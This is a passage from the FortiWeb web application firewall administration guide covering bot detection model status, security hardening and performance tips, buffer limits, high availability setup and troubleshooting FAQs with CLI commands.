matching the URLs to which the rule should apply. The pattern does
not require a slash ( / ), but it must match URLs that begin with a
slash, such as /index.cfm.
configured separately in Host .
expression.
3. Click OK.

Viewing bot detection model status
Model Detection
This option is enabled by default. It appears only when the model is in Ready status.
Model Status
There are four status: Collecting, Building, Ready, Failure.
l Collecting: The system is collecting samples.
l Building: The system is building bot detection model.
l Ready: The model is ready to run. You can use the Model Detection option to run or stop the model.
l Failure: The model fails to be built. You can check the log messages to get more information on the failure
reasons and adjust the settings in the bot detection policy accordingly. The following is an example of the log
message:
Model status changed from Building to Failure by FortiWeb daemon. Failed to
create model. Could not build a model required by Model Settings. Please adjust
the Model Building Settings to make sure Training Accuracy is lower 98.2222%,
Cross Validation is lower than 99.1111% and Test Accuracy is lower than
97.3333%.
Operation
l Rebuild: The system rebuilds the model using the existing samples. This option is useful when the policy settings
are changed, so that the bot detection model should be rebuilt with the adjusted settings.
l Refresh: The system re-collects samples, and then re-builds the model. This option is useful when you think the
model is not accurate, and you want to re-collect samples and re-build the model. Also keep in mind to use the
Dynamically Update Model option in the bot detection policy to automatically refresh the model when too many
false positive vectors are detected.
Model Information
The Model Information section displays the anomalies detected in the Training Set and Test Set. You can switch
between the Moderate Model and Strict Model.
For example, the following figure shows 1 anomaly is detected in the Training Set using the Moderate Model. The
Training Accuracy of the Moderate Model is 99.73%; the Testing Accuracy is 100%; the Cross Validation value is
98.67%. The red line represents the Anomaly. You can hover the mouse over this line to see the values for each
dimension.

The bot detection model evaluates users' behaviors in the following dimensions:
l TCP connection
The created TCP connections during the sampling period. Bot like DoS tools and scanners always creates many
more TCP connections than regular clients.
l HTTP request
The triggered HTTP requests during the sampling time. Bot always triggers many more HTTP requests than regular
clients.
l HTTP HEAD methods

The triggered HTTP requests whose method is HEAD. Crawlers and scanners always use HTTP HEAD method,
while the regular clients don’t.
l HTTP error responses

The triggered HTTP error responses whose HTTP return code is larger than 400. Scanners always trigger HTTP
error responses.
l HTTP requests without Referers

The HTTP requests that don’t have the Referer header field. Regular web access always includes the HTTP header
field, while the requests from the bot like scrappers may not include this header field.
l HTTP requests without User-Agent

The HTTP requests that don’t have the User-Agent HTTP header field. Bot like DoS tools triggers HTTP traffic
without the User-Agent.
l HTTP requests with illegal HTTP version

The HTTP requests that use non HTTP1.1/2.0 HTTP versions. Bot like scanners triggers HTTP traffic using HTTP
0.9/HTTP 1.0 HTTP versions.
l HTML pages
The HTTP requests that access the HTML pages. Regular web access always triggers this kind of requests, while
Bot like scrappers may not. Scrappers tend to fetch pure site data like commodity price.
l JavaScript/CSS resources
The HTTP requests that access the JavaScript and CSS resources. Regular web access always triggers this kind of
requests, while bot like scrappers and DoS tools may not.
l JSON/XML resources
The HTTP requests that access the JSON/XML resources. Bot like scrappers always triggers huge amount of this
kind of requests.
l Request for robots.txt

The HTTP requests for file robots.txt. Bot like known engines and crawlers usually attempts to fetch the file, while
the regular clients don’t.
l Seconds with throughput

The traffic triggered by regular clients usually doesn't last long, while the traffic from bot is always across the whole
sampling time period.

l Average duration with throughput

The duration time of regular clients is always much shorter than that of bots.
Model Statistics
The Model Statistics shows the Traffic Trend (the green line), the Anomaly Trend (the orange line), and the
Confirmed Bots (the blue line).
Provided there were plenty of vectors collected in the past 24 hours (Traffic Trend), if the gap between the Anomaly
Trend and the Confirmed Bots is continuously wide, it means the current bot detection model may need to be
refreshed, because many false positive vectors are detected.
Viewing the bot detection violations
In Log&Report > Log Access > Attack, use the Message: Bot Detection Violation filter to check the bot
detection violations.
Click the item to view its detailed information. The radar chart is used to compare the current vector with the vectors in
training sample set. The red line represents the values of the current vector, while the other three lines respectively
represent the minimum value, average value, and maximum value of the vectors in training sample set. The following is
the radar chart of a violation, you can see the red line is far apart from the other three lines, which means the current
vector is quite possibly a bot.


Fine-tuning & best practices
This topic is a collection of fine-tuning and best practice tips and guidelines to help you configure your FortiWeb
appliances for the most secure and reliable operation.
While many features are optional or flexible such that they can be used in many ways, some practices are generally a
good idea because they reduce complication, risk, or potential issues.
This section includes only recommendations that apply to a combination of multiple

features, to the entire appliance, or to your overall network environment.
For feature-specific recommendations, see the tips in each feature’s instructions.
Hardening security
FortiWeb is designed to enhance the security of your websites and web applications, and when fully configured, it can
automatically plug holes commonly used by attackers to compromise a system.
This section lists tips to further enhance security.
Topology
l To protect your web servers, install the FortiWeb appliance or appliances between the web servers and a general
purpose firewall such as a FortiGate. FortiWeb complements, and does not replace, general purpose
firewalls. FortiWeb appliances are designed specifically to address HTTP/HTTPS threats; general purpose
firewalls have more features to protect at lower layers of the network.
l Make sure web traffic cannot bypass the FortiWeb appliance in a complex network environment.
l Define the IP addresses of other trusted load balancers or web proxies to prevent spoofing of HTTP headers such
as X-Forwarded-For: and X-Real-IP:. For details, see Defining your proxies, clients, & X-headers on page
193.
l Disable all network interfaces that should not receive any traffic.
For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers
are connected to port3, you would disable (“bring down”) port4. This would prevent an attacker with physical access
from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.

Disabling port2 in System > Network > Interface
Administrator access
l As soon as possible during initial FortiWeb setup, give the default administrator, admin, a password. This super-
administrator account has the highest level of permissions possible, and access to it should be limited to as few
people as possible.
l Change all administrator passwords regularly. Set a policy—such as every 60 days—and follow it. You can click the
Edit Password icon to reveal the password dialog.
l Instead of allowing administrative access to the FortiWeb appliance from any source, restrict it to trusted internal
hosts. (IPv6 entries of ::/0 will be ignored, but you should configure all IPv4 entries.) For details, see Trusted hosts
on page 59. On those computers that you have designated for management, apply strict patch and security
policies. Always password-encrypt any FortiWeb configuration backup that you download to those computers to
mitigate the information that attackers can gain from any potential compromise. See also Encryption Password on
page 324.
l Do not use the default administrator access profile for all new administrators. Create one or more access profiles
with limited permissions tailored to the responsibilities of the new administrator accounts. For details, see
Configuring access profiles on page 331.
l By default, an administrator login that is idle for more than five minutes times out. You can change this to a longer
period in Idle Timeout on page 60, but Fortinet does not recommend it. Left unattended, a web UI or CLI session
could allow anyone with physical access to your computer to change FortiWeb settings. Small idle timeouts
mitigate this risk.
l Administrator passwords should be at least 8 characters long and include both numbers and letters. For additional
security, use Password Policy on page 61 to force the use of stronger passwords. For details, see Global web UI &
CLI settings on page 59.

Change Password dialog in System > Admin > Administrators
Create New dialog in System > Admin > Administrators

Strengthening passwords and the idle timeout System > Admin > Settings

Restrict administrative access to a single network interface (usually port1) and allow only the management
access protocols needed in System > Network > Interface
Use only the most secure protocols. Disable PING, except during troubleshooting. Disable HTTP, SNMP, and
Configuring the network settings unless the network interface only connects to a trusted, private administrative network.
For details, see Configuring the network interfaces on page 126.
Restricting accepted administrative protocols in the Edit Interface dialog in System > Network > Interface
l Disable all network interfaces that should not receive any traffic.
For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers
are connected to port3, you would disable (“bring down”) port4. This would prevent an attacker with physical access
from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.
l Similar to applying trusted host filters to your FortiWeb administrative accounts, apply URL access control rules to
limit potentially malicious access to the administrative accounts of each of your web applications from untrusted
networks. For details, see Restricting access to specific URLs on page 433.
User access
l Authenticate users only over encrypted channels such as HTTPS, and require mutual authentication—the web
server or FortiWeb should show its certificate, but the client should also authenticate by showing its certificate.
Password-based authentication is less secure than PKI authentication. For certificate-based client authentication,

see How to apply PKI client authentication (personal certificates) on page 411. For certificate-based
server/FortiWeb authentication, see How to offload or inspect HTTPS on page 396.
l Immediately revoke certificates that have been compromised. If possible, automate the distribution of certificate
revocation lists. For details, see Revoking certificates on page 430.
Signatures & patches
l Upgrade to the latest available firmware to take advantage of new security features and stability enhancements.
For details, see Updating the firmware on page 89.
l Use FortiWeb services to take advantage of new definitions for viruses, predefined robots, data types, URL
patterns, disreputable clients, and attack signatures.
l Update methods can be either:
l Manual (see Uploading signature & geography-to-IP updates on page 478 or Manually initiating update requests on
page 477)
l Automatic (see Scheduling automatic signature updates on page 475)
System > Config > FortiGuard
l Regularly update FortiWeb FortiGuard Subscription Services.

l Schedule updates often.
Buffer hardening
While analyzing traffic, FortiWeb’s HTTP parser must extract and buffer each part in the request or response. The buffer
allows FortiWeb to scan and/or rewrite it before deciding to block or forward the finished traffic. Buffers are not infinite—
due to the physical limitations inherent in all RAM, they are allocated a maximum size. If the part of the request or
response is too large to fit the buffer, FortiWeb must either pass or block the traffic without further analysis of that part.
Practically speaking, while oversized requests are not common, when they do exist, they may be harmless. Movie
uploads are a common example. HTTP GET requests involving many database queries with encrypted values are
another example. In these cases, hardening the buffer could result in many false positives during normal use. Such
false positives are to be avoided because the flood of information could distract you from real attacks.
In terms of attacks, large DoS attacks from a single attacker are impractical: if the attacking host must consume its own
bandwidth or CPU faster than the web server can process it, the attack won’t work. Therefore DoS request traffic is
unlikely to be oversized.
Determined attackers, though, often craft oversized requests to mask an exploit. Tactics to pad an attack with
harmless data in order to push the payload beyond the scan buffer are popular with more knowledgeable and motivated
APT attackers, and with black hat researchers crafting exploit packages for Metasploit and other tools that ultimately
land in the hands of script kiddies. Similar to buffer overflow attacks, these padded attacks attempt to bypass and
exploit inherent limits. If a request cannot fit into the buffer, it might be a padded attack.
If your web applications do not require oversized requests to work, you can toughen security by blocking
oversized requests. Configure HTTP constraints with Malformed Request on page 538 etc. For details, see
HTTP/HTTPS protocol constraints on page 532. Also configure exceptions for URLs that require you to ignore the buffer
limitations, such as music or movie uploads.
To determine your appropriate HTTP constraints, first observe your normal traffic. Compare it with FortiWeb’s buffer
counts and maximum sizes.

FortiWeb buffer configuration
Buffer Limit Block oversized

requests using
URL size, excluding appended Usually 2 KB Malformed Request on

parameters and the parameter delimiter page 538
( ? ) (e.g. /path/to/app)
URL parameters’ total size Buffer Total URL Parameters

Length on page 533
URL parameter’s individual size Configurable. See http-cachesize in the Malformed Request on
FortiWeb CLI Reference ( page 538
).
Number of parameters 64 Malformed Request on

page 538
HTTP header lines’ total size 4 KB Header Length on page

533
HTTP header line’s individual size Buffer Total URL Parameters

Length on page 533
Number of HTTP header lines 32 Number of Header Lines

in Request on page 535
Cookies’ total size 2 KB Malformed Request on

page 538
Number of cookies 32 Number of Cookies In

Request on page 537
Adobe Flash (AMF) parameters’ total Buffer Total URL Parameters

size Length on page 533
Number of Adobe Flash (AMF) 32 Malformed Request on

parameters page 538
File uploads’ total size Buffer Body Length on page

537
Number of file uploads 8 Malformed Request on

page 538
Other buffers also exist. Their limitations, however, vary dynamically.

Enforcing valid, applicable HTTP
l If your web server does not require anything other than GET or POST, disable unused HTTP methods to reduce
vectors of attack. For details, see Specifying allowed HTTP methods on page 529.
l Enforce RFC compliance and any limitations specific to your back-end web servers or applications to defeat exploit
attempts. For details, see HTTP/HTTPS protocol constraints on page 532 and Limiting file uploads on page 597.
Sanitizing HTML application inputs
Most web applications are not written with security in mind, and do not correctly sanitize input. Before a signature or
patch is available, you can still block new input-related attacks by rejecting all invalid input that could potentially break
the intended behavior of ASP, PHP, JavaScript or other applications. For details, see Validating parameters (“input
rules”) on page 519 and Preventing tampering with hidden inputs on page 524.
Improving performance
When you configure your FortiWeb appliance and its features, there are many settings and practices that can yield
better performance.
System performance
l Delete or disable unused policies. FortiWeb allocates memory with each server policy, regardless of whether it is
actually in active use. Configuring extra policies unnecessarily consumes memory and decreases performance.
l To reduce latency associated with DNS queries, use a DNS server on your local network as your primary DNS. For
details, see Configuring DNS settings on page 150.
l If your network’s devices support them, you can create one or more VLAN interfaces. VLANs reduce the size of a
broadcast domain and the amount of broadcast traffic received by network hosts, which improves network
performance. For details, see Adding VLAN subinterfaces on page 129.
l If you have enabled the server health check feature as part of a server pool and one of the pool members is down
for an extended period, you can improve the performance of your FortiWeb appliance by disabling the physical
server, rather than allowing the server health check to continue checking for the server's responsiveness. For
details, see Configuring server up/down checks on page 163.
l Use the least intensive, earliest possible scan to deflect attacks. For details, see Sequence of scans on page 25.
l Use Period Block if possible as the Action on page 615 setting for DoS protection rules. This setting allows
FortiWeb to conserve scanning resources that are under heavy demand during a DoS or DDoS attack.
Antivirus performance
l Disable scanning of BZIP2 if it is not necessary.

l Reduce the scanning buffer to the minimum necessary.
l Reduce the number of redundant levels of compression that FortiWeb will scan. Normally, people will not put a ZIP
file within a ZIP file, because it is inconvenient to open and does not offer significant compression ratio
improvements. Nested compression is usually used by viruses to bypass antivirus scanners.

Regular expression performance tips
l Use a simple string instead if possible. Generally, regular expressions should only be used when defining all
matching text requires a complex pattern. Regular expressions such as:
^.*/index\.html$ are usually more computationally intensive than a literal string comparison
such as: /index.html
l Reduce evaluation complexity.

Short regular expressions can sometimes be more complex to compute. Don’t look at the number of characters in the
regular expression. Instead, think of both the usual and worst possible case in the match string: the maximum number
of characters that must be compared to the pattern before a match can be verified or not.
The usual case will tell you the average CPU and RAM load. The worst case will tell you if your regular expression could
sometimes cause potential hang-like conditions, temporarily blocking traffic throughput until it finishes evaluating.
If the worst possible match string is short and not complex to match, the regular
expression may not be worth your time to optimize.
If missed matches are an acceptable performance trade-off (for example, if matching 99% of cases is efficient, but
matching 100% of cases would require deep recursion), or if you do not need to match the whole text, remove the
unnecessary part of the regular expression.
For example, if a phone number always resembles 555-5555, your regular expression would not have to accommodate
cases where a space separates the numbers, or it is prefixed by a country code. This is less comprehensive, but also
less CPU-intensive.
l Avoid backtracking (i.e. revisiting the match string after failing to match part of the pattern). Backtracking occurs
when regular expression features use recursion (definite or indefinite). This can increase execution time
exponentially. Examples include the following:
l Avoid nested parentheses with indefinite repeats such as:
^((a+)b+)*
which can take a very long time to evaluate, especially if a long string does not match, but this cannot be
determined until the very last character is evaluated.
In the above example, both the + and * indicate matches that repeat potentially infinitely, forcing the regular
expression engine to continue until it finds the longest possible match (or runs out of RAM; see Killing system-
intensive processes on page 851). Using both in a nested set of parentheses compounds the problem.
l Minimize capture groups and back-references such as:
(/a)(/b)/(c)
$0$1\?user=$2
To use back-references, FortiWeb must keep the text that matched the capture groups in memory, which increases
RAM consumption.
l Order matters if using alternate match patterns (e.g., multiple patterns are concatenated with a pipe ( | ). Put rare
patterns last. If you put less likely patterns first, most times FortiWeb will be evaluating the string multiple times—
not once—before it finds a match. This significantly decreases performance.
When comparing single characters, use character classes such as:
[abc]
instead of alternative matches like

(a|b|c)
Match character by character, not word by word. If words begin with the same characters, it is not efficient to
evaluate the beginning of the match string multiple times—once for each possible word.
For example, to match the words “the”, “then”, “this”, and “these”, this expression is easy to read, but inefficient
because it evaluates the first two characters (“th”) up to 4 times:
\b(this|the|then|these)\b
While harder to read, this expression improves performance, evaluating “th” once, and will match the most
common word in English (“the”) before considering less probable words:
\bth(e(n|se)|is)\b
l Reduce nested quantifiers such as:
(abc)+
(abc){1,6}
Worst-case evaluations do not increase computation time linearly, but exponentially. When such an expression is
compiled, it also consumes much more RAM. Use the smallest possible repetition, or an alternative expression.
l Avoid Unicode character properties such as /p{Nd} if you can use a character class instead. Due to the huge
numbers and complexity of potential matches in Unicode, these can be dramatically slower.
l Avoid look-ahead match conditions such as:
?!abcdefge
?=abcdefge
To do this, FortiWeb must make additional computations—in the example above, 8 in the best case scenario, an
immediate match. FortiWeb also must keep the originally consumed match string in memory while it does this,
which increases RAM consumption.
Logging performance
l If you have a FortiAnalyzer, store FortiWeb’s logs on the FortiAnalyzer to avoid resource usage associated with
writing logs to FortiWeb’s own hard disks. For details, see Configuring log destinations on page 705.
l If you do not need a traffic log, disable it to reduce the use of system resources. For details, see Enabling log types,
packet payload retention, & resource shortage alerts on page 701.
l Reduce repetitive log messages. Configure the alert email settings to define the interval that emails are sent if the
same condition persists following the initial occurrence. For details, see Configuring email settings on page 725.
l Avoid recording log messages using low severity thresholds, such as information or notification, to the local hard
disk for an extended period of time. Excessive logging frequency saps system resources and can cause undue wear
on the hard disk and may cause premature failure. For details, see Configuring log destinations on page 705.
Report performance
Generating reports can be resource intensive. To avoid performance impacts, consider scheduling report generation
during times with low traffic volume, such as at night and on weekends. For details, see Scheduling reports on page
738.
Keep in mind that most reports are based upon log messages. All caveats regarding log performance also apply.

Vulnerability scan performance
Vulnerability scan performance depends on the speed and reliability of your network. It also can be impacted by your
configuration. For details, see Vulnerability scans on page 656.
Packet capture performance
Packet capture can be useful for troubleshooting but can be resource intensive. To minimize the performance impact on
your FortiWeb appliance, use packet capture only during periods of minimal traffic. Use a local console CLI connection
rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished. For details, see
Packet capture on page 831.
TCP transmission performance tuning
FortiWeb allows you to tune TCP transmission performance by adjusting the buffer parameter of TCP connections
through the CLI over high-bandwidth, high-latency networks. Large-size file transmissions (usually larger than 150MB)
or serious traffic congestion between FortiWeb and backend servers is a common situation that might cause clients to
experience poor TCP performance.
The tcp-buffer option in system network-option defines the TCP_mem variable to indicate to FortiWeb how
the TCP stack should behave regarding memory usage. It consists of three values (the values are measured in memory
pages):
l low: This value indicates the peformance value for a desired low memory usage threshold. Below this point, the
TCP stack does not adjust the memory usage by interacting with TCP receive and send buffers for the sockets.
l pressure: This value tells FortiWeb the point at which it must start pressuring memory usage down. Memory
pressure is continued until the memory usage enters the lowe threshold and it maintains the default behavior of the
low threshold. This downward pressure is applied by adjusting the TCP receive and send buffers for the sockets
until the low threshold performance can be maintained.
l high: This value indicates the maximum memory pages FortiWeb may use. If this value is reached, TCP streams
and packets are dropped until FortiWeb begins using fewer memory pages again.
Setting the tcp-buffer option as default, high, or max from the CLI specifies the three values to FortiWeb as
following:
while tcp-buffer=default, (low, pressure, high) = (16384, 32768, 65536)
while tcp-buffer=high, (low, pressure, high) = (16384, 87380, 629145)
while tcp-buffer=max, (low, pressure, high) = (16384, 174760, 1258290)
Note that although the tcp-buffer option can provide an increase in throughput on high bandwidth networks, it decreases
the number of concurrent TCP connections established on FortiWeb.
Example
config system network-option

set tcp-buffer high
end

Improving fault tolerance
To enhance availability, set up two FortiWeb appliances to act as an active-passive high availability (HA) pair. If your
main FortiWeb appliance fails, the standby FortiWeb appliance can continue processing web traffic with only a minor
interruption. For details, see FortiWeb high availability (HA) on page 48.
Keep these points in mind when setting up an HA pair:
l Isolate HA interface connections from your overall network.
Heartbeat and synchronization packets contain sensitive configuration information and can consume considerable
network bandwidth. For best results, directly connect the two HA interfaces using a crossover cable. If your system
uses switches instead of crossover cables to connect the HA heartbeat interfaces, those interfaces must be
reachable by Layer 2 multicas
l When configuring an HA pair, pay close attention to the options FortiWeb high availability (HA) on page 48 and
FortiWeb high availability (HA) on page 48.
FortiWeb broadcasts ARP/NS packets to the network to ensure timely failover. Delayed broadcast intervals can
slow performance. Set the value of FortiWeb high availability (HA) on page 48 no higher than needed.
When FortiWeb broadcasts ARP/NS packets, it does so at regular intervals. For performance reasons, set the value
for FortiWeb high availability (HA) on page 48 no greater than required.
Some experimentation may be needed to set these options at their optimum value. For details, see FortiWeb high
availability (HA) on page 48.
Alerting the SNMP manager when HA switches the primary appliance
Use SNMP to generate a message if the HA heartbeat fails.

Configure an SNMP community and enable the HA heartbeat failed option. For details, see Configuring an SNMP
community on page 729.
Reducing false positives
Focusing your energies on real attacks is vital. But often attacks differ from normal traffic in subtle ways that can cause
confusion. How many of your attack logs are real, and how many are false positives?
Are 20 requests per second per client a DoS attack? Is a request URL with 250 characters abnormally long? Should form
inputs allow SQL queries?
Normal traffic is your best judge. Use it to adjust your FortiWeb’s protection settings and reduce attack logs that aren’t
meaningful.
For example, social media buttons for Twitter append an encoded version of your web page’s URL as long parameters
named original_referer and url after the request URL to twitter.com.

This is normal, and used by Twitter to pre-fill the viewer’s tweet about your website. This way, your readers do not need
to manually abbreviate and then paste your URL into their tweet. Long request URLs (and parameters) are therefore
typical for Twitter, and therefore would not necessarily be indicative of a security bypass attempt.
On other web applications, however, where URLs and parameters are short, URLs as long parameters might be
suspicious—it could be part of a clickjacking, URL-encoded shell code, or padded exploit. In those cases, you might
create a shorter HTTP constraint. For details, see HTTP/HTTPS protocol constraints on page 532.
Likewise, a single corporate front page or Zenphoto gallery page might involve 81 requests for images, JavaScripts,
CSS pages, and other external components. A search page, however, might normally only have 6 requests, and merit a
lower threshold when configuring rate limiting. For details, see Rate limiting on page 612.
This means that “normal” is often relative to your web applications.


For SQL Injection detection, you can also enable False Positive Mitigation to reduce false positives. For details, see
False Positive Mitigation for SQL Injection signatures on page 481.

If a signature causes false positives, but disabling it would allow attacks, you can
use packet capture and analysis tools such as Wireshark to analyze the differences
between your typical traffic and attacks, then craft a custom signature (see Defining
custom data leak & attack signatures on page 499) targeting the attacks but
excluding your normal traffic.
If you need to save time, or don’t feel comfortable doing this, you can contact
Fortinet Technical Support for professional services at:
http://www.fortinet.com/support/forticare_support/professional_svcs.html
If you have written an attack signature yourself, or used regular expressions to define large sets of web pages where you
will be applying rate limiting, be sure to use the >> (test) button with Request URL on page 520 and other similar
settings to check:
l your regular expression’s syntax (see Regular expression syntax on page 880)
l all expected matches
l all non-matches
Regular expressions that do not match enough attack permutations cause false negatives; regular expressions that
match unintended traffic cause false positives.
Regular backups
Make a backup before executing operations that can cause large configuration changes, such as:
l Upgrading the firmware
l Running the CLI commands execute factoryreset or execute restore
l Clicking the Reset button in the System Information widget on the dashboard
l Changing the operation mode
To mitigate impact in the event of a network compromise, always password-encrypt your backups.
There are two backup methods:
l Manual (see To back up the configuration via the web UI on page 323)
Go to System > Maintenance > Backup & Restore, and select the Local Backup tab.
l Via FTP/SFTP (see To back up the configuration via the web UI to an FTP/SFTP server on page 323).
Go to System > Maintenance > Backup & Restore, and select the FTP Backup tab.
To lessen the impact on performance, schedule the FTP backup time for off-peak
hours.

Downloading logs in RAM before shutdown or reboot
Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. If you require the ability to
save a few logs, you can copy and paste the HTML from the GUI page that is displaying the memory logs. Otherwise, if
you need to be able to keep and download many logs, you should instead configure FortiWeb to store event logs on
disk. For details, see Configuring logging on page 700 and Downloading log messages on page 722.
Downloading logs in RAM before shutdown or reboot
Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. If you require the ability to
save a few logs, you can copy and paste the HTML from the GUI page that is displaying the memory logs. Otherwise, if
you need to be able to keep and download many logs, you should instead configure FortiWeb to store event logs on
disk. For details, see Configuring logging on page 700 and Downloading log messages on page 722.

Troubleshooting 808
Troubleshooting
This section provides guidelines to help you resolve issues if your FortiWeb appliance is not behaving as you expect.
Keep in mind that if you cannot resolve the issue on your own, you can contact Fortinet Customer Service & Support:
See also
l Frequently asked questions on page 808

l Tools on page 829
l How to troubleshoot on page 837
l Solutions by issue type on page 838
l Resetting the configuration on page 858
l Restoring firmware (“clean install”) on page 859
Frequently asked questions
Administration
How do I recover the password of the admin account?

What is the maximum number of ADOMs I can create?
How do I upload and validate a license for FortiWeb-VM?
How do I troubleshoot a high availability (HA) problem?
FortiGuard
Why did the FortiGuard service update fail?

Troubleshooting 809
Access control and rewriting
Why is URL rewriting not working?

How do I create a custom signature that erases response packet content?
How do I reduce false positives and false negatives?
Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to back-end servers even though set ip-
forward is enabled?
How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule?
Why does my Advanced Protection rule that has both Signature Violation and HTTP Response Code filters not detect
any violations?
What's the difference between the Packet Interval Timeout and Transaction Timeout filters in an Advanced Protection
rule?
What ID numbers do I use to specify a Signature Violation filter when I use the CLI to create a custom access rule?
Why is the Signature Violation filter I added to my Advanced Protection custom rule not working?
Why don't my back-end servers receive the virtual server IP address as the source IP?
Logging and packet capture
Why do I not see HTTP traffic in the logs?

Why do I see HTTP traffic in the logs but not HTTPS traffic?
How do I store traffic log messages on the appliance hard disk?
Why is the most recent log message not displayed in the Aggregated Attack log?
How can I sniff FortiWeb packets (packet capture)?
How do I trace packet flow in FortiWeb?
Why is the number of cookies reported in my attack log message different from the number of cookies that message
detail displays?
Why does the attack log message display the virtual server IP address as the destination IP instead of the IP address of
the back-end server that was the target of the attack?
Security
How do I detect which cipher suite is used for HTTPS connections?

How can I strengthen my SSL configuration?
Why can’t a browser connect securely to my back-end server?
Performance
How do I use performance tests to determine maximum performance?

How can I measure the memory usage of individual processes?
IPMI (FortiWeb 3000E and 4000E only)
How can I use IPMI to shut down or power on FortiWeb remotely?

Troubleshooting 810
Upgrade
How do I reformat the boot device (flash drive) when I restore or upgrade the firmware?
How do I set up RAID for a replacement hard disk?
How do I recover the password of the admin account?
If you forget the password of the admin administrator, you cannot recover it.
However, you can use the local console to reset the password. For details, see Resetting passwords on page 853.
Alternatively, you can reset the FortiWeb appliance to its default state (including the default administrator account and
password) by restoring the firmware. For details, see Restoring firmware (“clean install”) on page 859.
What is the maximum number of ADOMs I can create?
The maximum number of Administrative domains (ADOMs) you can define depends on the appliance model and, in the
case of virtual appliances, the amount of vRAM allocated to FortiWeb.
For details, see Per appliance configuration maximums - ADOMs, server policies, Virtual IPs, server objects, and
domains in ML policies on page 865.
How do I upload and validate a license for FortiWeb-VM?
FortiWeb-VM includes a free 15-day trial license that includes all features except:
l High availability (HA)
l FortiGuard updates
l Technical support
Once the trial expires, most functionality is disabled. You need to purchase a license to continue using FortiWeb-VM.
When you purchase a license for FortiWeb-VM, Fortinet Customer Service & Support (https://support.fortinet.com)
provides a license file that you can use to convert the trial license to a permanent, paid license.
You can upload the license via the web UI. The uploading process does not interrupt traffic or trigger an appliance
reboot.
FortiWeb-VM requires an Internet connection to periodically re-validate its license. It

cannot be evaluated in offline, closed network environments. If FortiWeb-VM cannot
contact Fortinet’s FDN for 24 hours, it locks access to the web UI and CLI.
For detailed instructions for accessing the web UI and uploading the license, see the FortiWeb-VM Install Guide:

Troubleshooting 811
To upload the license
1. Go to the FortiWeb-VM web UI.

For hypervisor deployments, the URL is the default IP address of port1 of the virtual appliance, such as
https://192.168.1.99/.
For FortiWeb-VM deployed on AWS, the URL is the public DNS address displayed in the instance information for
the appliance in your AWS console.
2. Log in to the web UI as the admin user.
For hypervisor deployments, by default, the admin user does not use a password.
For AWS deployments, by default, the password is the AWS instance ID.
3. Go to System > Status > Status. The FortiGuard Information widget contains the link you use to upload a
license file.
4. Click Update.
5. Browse to the license file (.lic) you downloaded earlier from Fortinet, then click OK.
FortiWeb connects to Fortinet to validate its license. In most cases, the process is complete within a few seconds.
A message appears:
License has been uploaded. Please wait for authentication with registration servers.
6. In the message box, click Refresh.

If you uploaded a valid license, the following message is displayed:
License has been successfully authenticated with registration servers.
The web UI logs you out. The login dialog reappears.

7. Log in again.
8. To verify that the license was uploaded successfully, log in to the web UI again, then view the FortiGuard
Information widget. The VM License row should say Valid.
Also view the System Information widget. The Serial Number row should have a number that indicates the
maximum number of vCPUs that can be allocated according to the FortiWeb-VM software license, such as
FVVM020000003619 (where “VM02” indicates a limit of 2 vCPUs).
How do I troubleshoot a high availability (HA) problem?
If a high availability (HA) cluster is not behaving as expected, use the following troubleshooting steps to help find the
source of the problem:
1. Ensure the physical connections are correct:
l Ensure that the physical interfaces that FortiWeb monitors to check the status of appliances in the cluster
(Port Monitor in HA configuration) are in the same subnet.
lEnsure that the HA heartbeat link ports are connected through crossover cables. Although the feature works if
you use switches make the connection, Fortinet recommends a direct connection.
2. Ensure the following HA configuration is correct:
l Ensure that the cluster members have the same Group ID value, and that no other HA cluster uses this value.
l Specify different Device Priority values for each member of the cluster and select the Override option. This
configuration ensures that the higher priority appliance (the one with the lowest value) is maintained is the

Troubleshooting 812
master as often as possible.

3. Use the following commands to collect information about the HA cluster:
get system status Displays information about current HA cluster members, including:
get global system l HA mode
status (if ADOMs are l HA Status
enabled) l Serial number
l Priority
l HA role
Helps confirm if the 2 appliances are part of the same cluster and which one is
the master.
execute ha md5sum Retrieves the CLI system configuration MD5 from the 2 appliances in a HA
cluster.
Helps confirm whether HA configuration is synchronized.
execute ha disconnect Run on master appliance to disconnect slave without disconnecting cables.
You can then connect to the slave as if it were a standalone appliance for
troubleshooting purposes.
execute ha manage If the Override option is selected, you can run this command on the master
appliance to assign a higher priority to the slave appliance, which manually
triggers a HA failover.
You specify the serial number of the slave appliance and the new priority. For
example:
execute ha manage FV-1KC3R11111111 1
execute ha synchronize Manually triggers configuration synchronization:

config l config—Only the core CLI configuration file (fwb_system.conf) and
execute ha synchronize auxiliary files such as X.509 certificates.
irdb l irdb—Only the IP Reputation Database (IRDB).
execute ha synchronize l waf—Entire configuration, including CLI configuration, system files, and
waf databases.
Also refreshes the md5sum value, which you use to confirm synchronization
status.
execute ha synchronize Manually triggers synchronization of a database file:
avupd l avupd—The FortiGuard Antivirus service package.
execute ha synchronize l geodb—The geography-to-IP address mappings.
geodb You can only trigger this type of synchronization manually.
execute ha synchronize Use to stop or start synchronization during debugging.
start
execute ha synchronize
stop
diagnose debug Configures the debug logs for HA synchronization to display messages about
application hasync 1 the automatic configuration synchronization process, commands that failed,
and the full configuration synchronization process.
Run on both members of the HA cluster to confirm configuration
synchronization and communication between the appliances.

Troubleshooting 813
Alternatively, use the following command to configure HA synchronization

debug logs to display all messages:
diagnose debug application hasync -1
Before you run this command, run the following commands to turn on debug
log output and enable timestamps:
diagnose debug console timestamp enable
diagnose debug Configures the debug logs for HA heartbeat links to display messages about
application hatalk 1 the heartbeat signal, HA failover, and the uptime of the members of the HA
cluster.
Alternatively, use the following command to configure HA heartbeat debug
logs to display all messages:
diagnose debug application hatalk -1
Before you run this command, run the following commands to turn on debug
log output and enable timestamps:
4. If your HA cluster is deployed in a custom environment, following commands provide useful information for
troubleshooting (run on both members of the cluster):
get system status
diagnose debug application hatalk 1
diagnose debug application hasync 1
execute ha sync waf
execute ha md5sum
For detailed information about these commands, see the FortiWeb CLI Reference:
For detailed information about HA topology and configuration, see HA heartbeat on page 114 and FortiWeb high
availability (HA) on page 48.
How do I upload a file to or download a file from FortiWeb?
To upload a file
